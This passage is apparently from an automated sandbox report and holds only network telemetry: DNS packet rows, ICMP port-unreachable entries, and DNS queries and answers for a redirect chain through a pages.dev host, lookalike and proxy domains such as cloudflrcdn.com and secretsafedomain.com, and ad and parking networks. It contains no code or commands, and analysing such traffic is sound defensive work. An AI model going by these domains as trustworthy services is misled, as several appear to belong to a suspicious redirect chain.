May 24, 2024 00:51:25.930690050 CEST	53	58182	1.1.1.1	192.168.2.5
May 24, 2024 00:51:25.930704117 CEST	53	62058	1.1.1.1	192.168.2.5
May 24, 2024 00:51:29.765873909 CEST	64179	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:29.766223907 CEST	63951	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:29.768737078 CEST	53983	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:29.769726038 CEST	51845	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:29.780174017 CEST	53	64179	1.1.1.1	192.168.2.5
May 24, 2024 00:51:29.786854029 CEST	53	51845	1.1.1.1	192.168.2.5
May 24, 2024 00:51:29.812454939 CEST	53	53983	1.1.1.1	192.168.2.5
May 24, 2024 00:51:29.812491894 CEST	53	63951	1.1.1.1	192.168.2.5
May 24, 2024 00:51:41.392250061 CEST	53	59260	1.1.1.1	192.168.2.5
May 24, 2024 00:51:57.331302881 CEST	51154	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:57.331362963 CEST	53778	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:57.680660963 CEST	53	51154	1.1.1.1	192.168.2.5
May 24, 2024 00:51:57.700256109 CEST	53	53778	1.1.1.1	192.168.2.5
May 24, 2024 00:51:59.595271111 CEST	51004	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:59.595407963 CEST	56174	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:59.691380024 CEST	53	56174	1.1.1.1	192.168.2.5
May 24, 2024 00:51:59.797218084 CEST	53	51004	1.1.1.1	192.168.2.5
May 24, 2024 00:52:01.603221893 CEST	50156	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:01.603342056 CEST	59327	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:01.608840942 CEST	52079	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:01.608994007 CEST	51900	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:01.626887083 CEST	53	65506	1.1.1.1	192.168.2.5
May 24, 2024 00:52:01.640284061 CEST	53	52079	1.1.1.1	192.168.2.5
May 24, 2024 00:52:01.640347958 CEST	53	58092	1.1.1.1	192.168.2.5
May 24, 2024 00:52:01.640367031 CEST	53	51900	1.1.1.1	192.168.2.5
May 24, 2024 00:52:02.873893023 CEST	53	62948	1.1.1.1	192.168.2.5
May 24, 2024 00:52:03.887458086 CEST	53	62455	1.1.1.1	192.168.2.5
May 24, 2024 00:52:03.922709942 CEST	53	58136	1.1.1.1	192.168.2.5
May 24, 2024 00:52:04.042766094 CEST	54982	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:04.043328047 CEST	51713	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:04.046231031 CEST	61967	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:04.046627045 CEST	53994	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:04.081098080 CEST	53	53994	1.1.1.1	192.168.2.5
May 24, 2024 00:52:04.087671041 CEST	53	61967	1.1.1.1	192.168.2.5
May 24, 2024 00:52:05.328525066 CEST	54414	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:05.328943968 CEST	54910	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:05.346836090 CEST	50780	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:05.347306013 CEST	55932	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:05.354851007 CEST	53	54414	1.1.1.1	192.168.2.5
May 24, 2024 00:52:05.359361887 CEST	53	53777	1.1.1.1	192.168.2.5
May 24, 2024 00:52:05.359456062 CEST	53	54910	1.1.1.1	192.168.2.5
May 24, 2024 00:52:05.359487057 CEST	53	55932	1.1.1.1	192.168.2.5
May 24, 2024 00:52:05.359515905 CEST	53	50780	1.1.1.1	192.168.2.5
May 24, 2024 00:52:05.450689077 CEST	59610	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:05.450845957 CEST	52890	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:06.447870016 CEST	65185	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:06.448396921 CEST	65349	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:06.498296022 CEST	53	65185	1.1.1.1	192.168.2.5
May 24, 2024 00:52:06.498313904 CEST	53	65349	1.1.1.1	192.168.2.5
May 24, 2024 00:52:06.939388037 CEST	62945	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:06.939584017 CEST	61683	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:07.808058023 CEST	62972	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:07.808689117 CEST	50117	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:07.907406092 CEST	53	50117	1.1.1.1	192.168.2.5
May 24, 2024 00:52:07.907422066 CEST	53	62972	1.1.1.1	192.168.2.5
May 24, 2024 00:52:07.953583956 CEST	53	62896	1.1.1.1	192.168.2.5
May 24, 2024 00:52:07.953628063 CEST	53	59662	1.1.1.1	192.168.2.5
May 24, 2024 00:52:07.983501911 CEST	55039	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:07.984059095 CEST	64969	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:08.858108044 CEST	58952	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:08.858537912 CEST	59729	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:08.865528107 CEST	53	58952	1.1.1.1	192.168.2.5
May 24, 2024 00:52:08.873291969 CEST	53	59729	1.1.1.1	192.168.2.5
May 24, 2024 00:52:10.430716038 CEST	61519	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:10.430804014 CEST	54701	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:10.494328976 CEST	53	54701	1.1.1.1	192.168.2.5
May 24, 2024 00:52:10.684459925 CEST	53	61519	1.1.1.1	192.168.2.5
May 24, 2024 00:52:11.604489088 CEST	56459	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:11.604711056 CEST	55879	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:11.835726023 CEST	53	55879	1.1.1.1	192.168.2.5
May 24, 2024 00:52:11.892477989 CEST	53	56459	1.1.1.1	192.168.2.5
May 24, 2024 00:52:12.766484976 CEST	58769	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:12.768126011 CEST	64159	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:12.774516106 CEST	53	58769	1.1.1.1	192.168.2.5
May 24, 2024 00:52:12.886317968 CEST	53	64159	1.1.1.1	192.168.2.5
May 24, 2024 00:52:13.393991947 CEST	53	63644	1.1.1.1	192.168.2.5
May 24, 2024 00:52:13.637167931 CEST	62275	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:13.637612104 CEST	53538	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:13.640661001 CEST	58566	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:13.640918970 CEST	64852	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:13.650276899 CEST	53	62275	1.1.1.1	192.168.2.5
May 24, 2024 00:52:13.658224106 CEST	53	53538	1.1.1.1	192.168.2.5
May 24, 2024 00:52:13.697741032 CEST	53	58566	1.1.1.1	192.168.2.5
May 24, 2024 00:52:13.779831886 CEST	53	64852	1.1.1.1	192.168.2.5
May 24, 2024 00:52:13.908298016 CEST	59674	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:13.908605099 CEST	60529	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:13.910242081 CEST	50162	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:13.910454988 CEST	53242	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:13.918893099 CEST	53	59674	1.1.1.1	192.168.2.5
May 24, 2024 00:52:13.925944090 CEST	53	60529	1.1.1.1	192.168.2.5
May 24, 2024 00:52:13.932271004 CEST	53	50162	1.1.1.1	192.168.2.5
May 24, 2024 00:52:14.028481007 CEST	53	53242	1.1.1.1	192.168.2.5
May 24, 2024 00:52:14.336668968 CEST	62379	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:14.337086916 CEST	56100	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:14.434751034 CEST	53	56100	1.1.1.1	192.168.2.5
May 24, 2024 00:52:14.434762955 CEST	53	62379	1.1.1.1	192.168.2.5
May 24, 2024 00:52:15.012531996 CEST	51281	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:15.012840986 CEST	65499	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:15.023816109 CEST	53	51281	1.1.1.1	192.168.2.5
May 24, 2024 00:52:15.029442072 CEST	53	65499	1.1.1.1	192.168.2.5
May 24, 2024 00:52:15.313513041 CEST	54877	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:15.313796043 CEST	55022	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:15.371721983 CEST	53	54877	1.1.1.1	192.168.2.5
May 24, 2024 00:52:15.371731997 CEST	53	55022	1.1.1.1	192.168.2.5
May 24, 2024 00:52:18.120167971 CEST	49396	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:18.120481968 CEST	50381	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:18.179358959 CEST	53	49396	1.1.1.1	192.168.2.5
May 24, 2024 00:52:18.179373026 CEST	53	50381	1.1.1.1	192.168.2.5
May 24, 2024 00:52:20.236952066 CEST	53870	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:20.237356901 CEST	51604	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:20.247704029 CEST	53	53870	1.1.1.1	192.168.2.5
May 24, 2024 00:52:20.268259048 CEST	53	51604	1.1.1.1	192.168.2.5
May 24, 2024 00:52:21.375386000 CEST	53	56791	1.1.1.1	192.168.2.5
May 24, 2024 00:52:36.138871908 CEST	53	50751	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 24, 2024 00:51:29.812768936 CEST	192.168.2.5	1.1.1.1	c23f	(Port unreachable)	Destination Unreachable
May 24, 2024 00:52:01.640487909 CEST	192.168.2.5	1.1.1.1	c26f	(Port unreachable)	Destination Unreachable
May 24, 2024 00:52:04.088053942 CEST	192.168.2.5	1.1.1.1	c272	(Port unreachable)	Destination Unreachable
May 24, 2024 00:52:12.887196064 CEST	192.168.2.5	1.1.1.1	c21f	(Port unreachable)	Destination Unreachable
May 24, 2024 00:52:13.779999018 CEST	192.168.2.5	1.1.1.1	c25a	(Port unreachable)	Destination Unreachable
May 24, 2024 00:52:20.268506050 CEST	192.168.2.5	1.1.1.1	c246	(Port unreachable)	Destination Unreachable
May 24, 2024 00:52:21.375484943 CEST	192.168.2.5	1.1.1.1	c225	(Port unreachable)	Destination Unreachable
May 24, 2024 00:52:50.923331976 CEST	192.168.2.5	1.1.1.1	c234	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 24, 2024 00:51:23.425545931 CEST	192.168.2.5	1.1.1.1	0x30f8	Standard query (0)	simxtrackredirecttszz.pages.dev	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:23.431972027 CEST	192.168.2.5	1.1.1.1	0x758e	Standard query (0)	simxtrackredirecttszz.pages.dev	65	IN (0x0001)	false
May 24, 2024 00:51:23.465564013 CEST	192.168.2.5	1.1.1.1	0x4214	Standard query (0)	simxtrackredirecttszz.pages.dev	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:23.465699911 CEST	192.168.2.5	1.1.1.1	0x36bd	Standard query (0)	simxtrackredirecttszz.pages.dev	65	IN (0x0001)	false
May 24, 2024 00:51:24.260303974 CEST	192.168.2.5	1.1.1.1	0xa2a2	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:24.260641098 CEST	192.168.2.5	1.1.1.1	0xc15d	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
May 24, 2024 00:51:24.261518002 CEST	192.168.2.5	1.1.1.1	0xa132	Standard query (0)	telegram.org	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:24.261874914 CEST	192.168.2.5	1.1.1.1	0x3a7d	Standard query (0)	telegram.org	65	IN (0x0001)	false
May 24, 2024 00:51:25.919873953 CEST	192.168.2.5	1.1.1.1	0x2d29	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:25.920048952 CEST	192.168.2.5	1.1.1.1	0x6c83	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 24, 2024 00:51:29.765873909 CEST	192.168.2.5	1.1.1.1	0x3da9	Standard query (0)	simxtrackredirecttszz.pages.dev	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:29.766223907 CEST	192.168.2.5	1.1.1.1	0x7b43	Standard query (0)	simxtrackredirecttszz.pages.dev	65	IN (0x0001)	false
May 24, 2024 00:51:29.768737078 CEST	192.168.2.5	1.1.1.1	0x5ccc	Standard query (0)	telegram.org	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:29.769726038 CEST	192.168.2.5	1.1.1.1	0x7778	Standard query (0)	telegram.org	65	IN (0x0001)	false
May 24, 2024 00:51:57.331302881 CEST	192.168.2.5	1.1.1.1	0xd355	Standard query (0)	simxtrack.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:57.331362963 CEST	192.168.2.5	1.1.1.1	0x7ec7	Standard query (0)	simxtrack.com	65	IN (0x0001)	false
May 24, 2024 00:51:59.595271111 CEST	192.168.2.5	1.1.1.1	0xbcbd	Standard query (0)	secretsafedomain.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:59.595407963 CEST	192.168.2.5	1.1.1.1	0xd84d	Standard query (0)	secretsafedomain.com	65	IN (0x0001)	false
May 24, 2024 00:52:01.603221893 CEST	192.168.2.5	1.1.1.1	0x1d42	Standard query (0)	cdn.jmp-assets.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:01.603342056 CEST	192.168.2.5	1.1.1.1	0xeca3	Standard query (0)	cdn.jmp-assets.com	65	IN (0x0001)	false
May 24, 2024 00:52:01.608840942 CEST	192.168.2.5	1.1.1.1	0x293	Standard query (0)	statisticresearch.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:01.608994007 CEST	192.168.2.5	1.1.1.1	0x9e4d	Standard query (0)	statisticresearch.com	65	IN (0x0001)	false
May 24, 2024 00:52:04.042766094 CEST	192.168.2.5	1.1.1.1	0x4435	Standard query (0)	cdn.smrt-content.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:04.043328047 CEST	192.168.2.5	1.1.1.1	0x6874	Standard query (0)	cdn.smrt-content.com	65	IN (0x0001)	false
May 24, 2024 00:52:04.046231031 CEST	192.168.2.5	1.1.1.1	0x53c	Standard query (0)	cloudflrcdn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:04.046627045 CEST	192.168.2.5	1.1.1.1	0xc9e3	Standard query (0)	cloudflrcdn.com	65	IN (0x0001)	false
May 24, 2024 00:52:05.328525066 CEST	192.168.2.5	1.1.1.1	0x5019	Standard query (0)	static.trafficjunky.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.328943968 CEST	192.168.2.5	1.1.1.1	0x66fe	Standard query (0)	static.trafficjunky.com	65	IN (0x0001)	false
May 24, 2024 00:52:05.346836090 CEST	192.168.2.5	1.1.1.1	0x1a23	Standard query (0)	tsyndicate.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.347306013 CEST	192.168.2.5	1.1.1.1	0x1b29	Standard query (0)	tsyndicate.com	65	IN (0x0001)	false
May 24, 2024 00:52:05.450689077 CEST	192.168.2.5	1.1.1.1	0x1c29	Standard query (0)	cdn.jmp-assets.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.450845957 CEST	192.168.2.5	1.1.1.1	0x6d1	Standard query (0)	cdn.jmp-assets.com	65	IN (0x0001)	false
May 24, 2024 00:52:06.447870016 CEST	192.168.2.5	1.1.1.1	0xbc49	Standard query (0)	tsyndicate.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:06.448396921 CEST	192.168.2.5	1.1.1.1	0x300	Standard query (0)	tsyndicate.com	65	IN (0x0001)	false
May 24, 2024 00:52:06.939388037 CEST	192.168.2.5	1.1.1.1	0x8530	Standard query (0)	cdn.jmpcdn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:06.939584017 CEST	192.168.2.5	1.1.1.1	0xcf8	Standard query (0)	cdn.jmpcdn.com	65	IN (0x0001)	false
May 24, 2024 00:52:07.808058023 CEST	192.168.2.5	1.1.1.1	0x8bd9	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:07.808689117 CEST	192.168.2.5	1.1.1.1	0x5c0c	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
May 24, 2024 00:52:07.983501911 CEST	192.168.2.5	1.1.1.1	0x2947	Standard query (0)	cdn.jmpcdn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:07.984059095 CEST	192.168.2.5	1.1.1.1	0xe57d	Standard query (0)	cdn.jmpcdn.com	65	IN (0x0001)	false
May 24, 2024 00:52:08.858108044 CEST	192.168.2.5	1.1.1.1	0x3078	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:08.858537912 CEST	192.168.2.5	1.1.1.1	0xb890	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
May 24, 2024 00:52:10.430716038 CEST	192.168.2.5	1.1.1.1	0xfccb	Standard query (0)	fauzi3.ngelit.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:10.430804014 CEST	192.168.2.5	1.1.1.1	0xf406	Standard query (0)	fauzi3.ngelit.com	65	IN (0x0001)	false
May 24, 2024 00:52:11.604489088 CEST	192.168.2.5	1.1.1.1	0x18a2	Standard query (0)	ww12.ngelit.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:11.604711056 CEST	192.168.2.5	1.1.1.1	0x338b	Standard query (0)	ww12.ngelit.com	65	IN (0x0001)	false
May 24, 2024 00:52:12.766484976 CEST	192.168.2.5	1.1.1.1	0x65a8	Standard query (0)	parking.parklogic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:12.768126011 CEST	192.168.2.5	1.1.1.1	0x9849	Standard query (0)	parking.parklogic.com	65	IN (0x0001)	false
May 24, 2024 00:52:13.637167931 CEST	192.168.2.5	1.1.1.1	0xb028	Standard query (0)	d38psrni17bvxu.cloudfront.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.637612104 CEST	192.168.2.5	1.1.1.1	0x84ab	Standard query (0)	d38psrni17bvxu.cloudfront.net	65	IN (0x0001)	false
May 24, 2024 00:52:13.640661001 CEST	192.168.2.5	1.1.1.1	0xa4bb	Standard query (0)	ww12.ngelit.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.640918970 CEST	192.168.2.5	1.1.1.1	0xdf37	Standard query (0)	ww12.ngelit.com	65	IN (0x0001)	false
May 24, 2024 00:52:13.908298016 CEST	192.168.2.5	1.1.1.1	0x5937	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.908605099 CEST	192.168.2.5	1.1.1.1	0xc166	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 24, 2024 00:52:13.910242081 CEST	192.168.2.5	1.1.1.1	0xfba3	Standard query (0)	parking.parklogic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.910454988 CEST	192.168.2.5	1.1.1.1	0x7ea9	Standard query (0)	parking.parklogic.com	65	IN (0x0001)	false
May 24, 2024 00:52:14.336668968 CEST	192.168.2.5	1.1.1.1	0xe667	Standard query (0)	d38psrni17bvxu.cloudfront.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:14.337086916 CEST	192.168.2.5	1.1.1.1	0x445	Standard query (0)	d38psrni17bvxu.cloudfront.net	65	IN (0x0001)	false
May 24, 2024 00:52:15.012531996 CEST	192.168.2.5	1.1.1.1	0x6682	Standard query (0)	www.adsensecustomsearchads.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:15.012840986 CEST	192.168.2.5	1.1.1.1	0x8fbf	Standard query (0)	www.adsensecustomsearchads.com	65	IN (0x0001)	false
May 24, 2024 00:52:15.313513041 CEST	192.168.2.5	1.1.1.1	0xe6e6	Standard query (0)	www.adsensecustomsearchads.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:15.313796043 CEST	192.168.2.5	1.1.1.1	0x4993	Standard query (0)	www.adsensecustomsearchads.com	65	IN (0x0001)	false
May 24, 2024 00:52:18.120167971 CEST	192.168.2.5	1.1.1.1	0x74d7	Standard query (0)	afs.googleusercontent.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:18.120481968 CEST	192.168.2.5	1.1.1.1	0xb68e	Standard query (0)	afs.googleusercontent.com	65	IN (0x0001)	false
May 24, 2024 00:52:20.236952066 CEST	192.168.2.5	1.1.1.1	0xa8ec	Standard query (0)	afs.googleusercontent.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:20.237356901 CEST	192.168.2.5	1.1.1.1	0x2397	Standard query (0)	afs.googleusercontent.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 24, 2024 00:51:23.462022066 CEST	1.1.1.1	192.168.2.5	0x30f8	No error (0)	simxtrackredirecttszz.pages.dev		172.66.45.18	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:23.462022066 CEST	1.1.1.1	192.168.2.5	0x30f8	No error (0)	simxtrackredirecttszz.pages.dev		172.66.46.238	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:23.462033987 CEST	1.1.1.1	192.168.2.5	0x758e	No error (0)	simxtrackredirecttszz.pages.dev			65	IN (0x0001)	false
May 24, 2024 00:51:23.481373072 CEST	1.1.1.1	192.168.2.5	0x4214	No error (0)	simxtrackredirecttszz.pages.dev		172.66.45.18	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:23.481373072 CEST	1.1.1.1	192.168.2.5	0x4214	No error (0)	simxtrackredirecttszz.pages.dev		172.66.46.238	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:23.481384039 CEST	1.1.1.1	192.168.2.5	0x36bd	No error (0)	simxtrackredirecttszz.pages.dev			65	IN (0x0001)	false
May 24, 2024 00:51:24.299916029 CEST	1.1.1.1	192.168.2.5	0xa2a2	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:51:24.299938917 CEST	1.1.1.1	192.168.2.5	0xa132	No error (0)	telegram.org		149.154.167.99	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:24.299951077 CEST	1.1.1.1	192.168.2.5	0xc15d	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:51:25.930690050 CEST	1.1.1.1	192.168.2.5	0x6c83	No error (0)	www.google.com			65	IN (0x0001)	false
May 24, 2024 00:51:25.930704117 CEST	1.1.1.1	192.168.2.5	0x2d29	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:29.780174017 CEST	1.1.1.1	192.168.2.5	0x3da9	No error (0)	simxtrackredirecttszz.pages.dev		172.66.46.238	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:29.780174017 CEST	1.1.1.1	192.168.2.5	0x3da9	No error (0)	simxtrackredirecttszz.pages.dev		172.66.45.18	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:29.812454939 CEST	1.1.1.1	192.168.2.5	0x5ccc	No error (0)	telegram.org		149.154.167.99	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:29.812491894 CEST	1.1.1.1	192.168.2.5	0x7b43	No error (0)	simxtrackredirecttszz.pages.dev			65	IN (0x0001)	false
May 24, 2024 00:51:40.868489981 CEST	1.1.1.1	192.168.2.5	0x4387	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:51:40.868489981 CEST	1.1.1.1	192.168.2.5	0x4387	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:57.680660963 CEST	1.1.1.1	192.168.2.5	0xd355	No error (0)	simxtrack.com		103.247.11.107	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:58.431272984 CEST	1.1.1.1	192.168.2.5	0xa715	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:51:58.431272984 CEST	1.1.1.1	192.168.2.5	0xa715	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 24, 2024 00:51:59.691380024 CEST	1.1.1.1	192.168.2.5	0xd84d	No error (0)	secretsafedomain.com	cdpxy.cdtechbox.link		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:51:59.797218084 CEST	1.1.1.1	192.168.2.5	0xbcbd	No error (0)	secretsafedomain.com	cdpxy.cdtechbox.link		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:51:59.797218084 CEST	1.1.1.1	192.168.2.5	0xbcbd	No error (0)	cdpxy.cdtechbox.link		45.141.157.146	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:01.617223024 CEST	1.1.1.1	192.168.2.5	0x1d42	No error (0)	cdn.jmp-assets.com	cdn-secucdgv1.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:01.640284061 CEST	1.1.1.1	192.168.2.5	0x293	No error (0)	statisticresearch.com		35.153.14.190	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:01.640284061 CEST	1.1.1.1	192.168.2.5	0x293	No error (0)	statisticresearch.com		34.231.196.123	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:01.640381098 CEST	1.1.1.1	192.168.2.5	0xeca3	No error (0)	cdn.jmp-assets.com	cdn-secucdgv1.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:04.063194990 CEST	1.1.1.1	192.168.2.5	0x4435	No error (0)	cdn.smrt-content.com	smrt-contentv1.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:04.087671041 CEST	1.1.1.1	192.168.2.5	0x53c	No error (0)	cloudflrcdn.com		34.207.50.203	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:04.087671041 CEST	1.1.1.1	192.168.2.5	0x53c	No error (0)	cloudflrcdn.com		3.216.77.242	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:04.087682009 CEST	1.1.1.1	192.168.2.5	0x6874	No error (0)	cdn.smrt-content.com	smrt-contentv1.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:05.354851007 CEST	1.1.1.1	192.168.2.5	0x5019	No error (0)	static.trafficjunky.com	static.trafficjunky.com.sds.rncdn7.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:05.354851007 CEST	1.1.1.1	192.168.2.5	0x5019	No error (0)	static.trafficjunky.com.sds.rncdn7.com		66.254.122.19	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.354851007 CEST	1.1.1.1	192.168.2.5	0x5019	No error (0)	static.trafficjunky.com.sds.rncdn7.com		66.254.122.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.354851007 CEST	1.1.1.1	192.168.2.5	0x5019	No error (0)	static.trafficjunky.com.sds.rncdn7.com		66.254.122.17	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.354851007 CEST	1.1.1.1	192.168.2.5	0x5019	No error (0)	static.trafficjunky.com.sds.rncdn7.com		66.254.122.23	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.354851007 CEST	1.1.1.1	192.168.2.5	0x5019	No error (0)	static.trafficjunky.com.sds.rncdn7.com		66.254.122.22	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.354851007 CEST	1.1.1.1	192.168.2.5	0x5019	No error (0)	static.trafficjunky.com.sds.rncdn7.com		66.254.122.18	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.354851007 CEST	1.1.1.1	192.168.2.5	0x5019	No error (0)	static.trafficjunky.com.sds.rncdn7.com		66.254.122.21	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.354851007 CEST	1.1.1.1	192.168.2.5	0x5019	No error (0)	static.trafficjunky.com.sds.rncdn7.com		66.254.122.16	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.359456062 CEST	1.1.1.1	192.168.2.5	0x66fe	No error (0)	static.trafficjunky.com	static.trafficjunky.com.sds.rncdn7.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:05.359515905 CEST	1.1.1.1	192.168.2.5	0x1a23	No error (0)	tsyndicate.com		168.119.1.208	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:05.535506964 CEST	1.1.1.1	192.168.2.5	0x1c29	No error (0)	cdn.jmp-assets.com	cdn-secucdgv1.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:05.535552025 CEST	1.1.1.1	192.168.2.5	0x6d1	No error (0)	cdn.jmp-assets.com	cdn-secucdgv1.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
